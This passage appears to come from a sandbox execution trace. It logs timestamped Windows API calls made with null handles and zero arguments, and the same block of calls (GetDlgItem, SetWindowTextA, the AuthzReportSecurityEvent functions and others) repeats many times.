returned 0 [0025.695] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.695] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.695] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.695] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.695] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.695] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.695] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.695] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.695] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.695] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.695] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.695] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.695] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.695] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.695] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.695] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.695] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.695] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.695] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.695] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.695] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.695] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.696] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.696] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.696] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.696] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.696] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.696] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.696] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.696] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.696] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.696] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.696] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.696] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.696] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.696] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.696] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.696] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.696] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.696] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.696] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.696] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.696] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.696] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.696] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.696] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.696] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.696] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.696] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.696] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.696] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.696] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.696] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.696] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.696] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.696] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.696] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.696] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.696] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.696] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.696] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.696] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.696] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.696] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.697] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.697] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.697] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.697] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.697] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.697] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.697] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.697] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.697] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.697] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.697] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.697] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.697] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.697] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.697] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.697] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.697] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.697] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.697] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.697] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.697] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.697] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.697] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.697] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.697] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.697] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.697] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.697] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.697] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.697] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.697] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.697] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.697] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.697] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.697] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.697] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.697] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.697] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.697] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.697] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.697] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.697] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.698] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.698] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.698] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.698] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.698] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.698] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.698] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.698] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.698] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.698] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.698] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.698] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.698] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.698] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.698] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.698] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.698] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.698] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.698] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.698] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.698] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.698] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.698] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.698] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.698] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.698] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.698] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.698] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.698] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.698] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.698] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.698] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.698] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.698] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.698] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.698] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.698] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.698] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.698] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.698] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.698] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.699] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.699] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.699] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.699] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.699] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.699] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.699] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.699] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.699] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.699] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.699] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.699] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.699] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.699] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.699] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.699] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.699] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.699] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.699] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.699] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.699] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.699] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.699] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.699] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.699] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.699] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.699] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.699] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.699] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.699] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.699] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.699] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.699] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.699] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.699] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.699] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.699] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.699] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.699] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.699] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.699] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.699] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.700] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.700] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.700] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.700] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.700] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.700] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.700] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.700] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.700] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.700] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.700] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.700] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.700] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.700] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.700] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.700] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.700] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.700] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.700] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.700] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.700] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.700] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.700] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.700] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.700] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.700] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.700] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.700] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.700] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.700] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.700] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.700] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.700] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.700] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.700] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.700] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.700] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.700] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.700] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.700] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.700] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.700] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.700] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.701] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.701] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.701] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.701] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.701] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.701] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.701] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.701] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.701] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.701] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.701] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.701] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.701] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.701] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.701] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.701] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.701] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.701] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.701] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.701] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.701] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.701] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.701] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.701] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.701] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.701] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.701] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.701] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.701] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.701] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.701] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.701] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.701] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.701] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.701] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.701] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.701] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.701] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.701] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.701] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.701] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.702] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.702] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.702] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.702] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.702] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.702] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.702] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.702] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.702] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.702] GetDlgItem (hDlg=0x0, 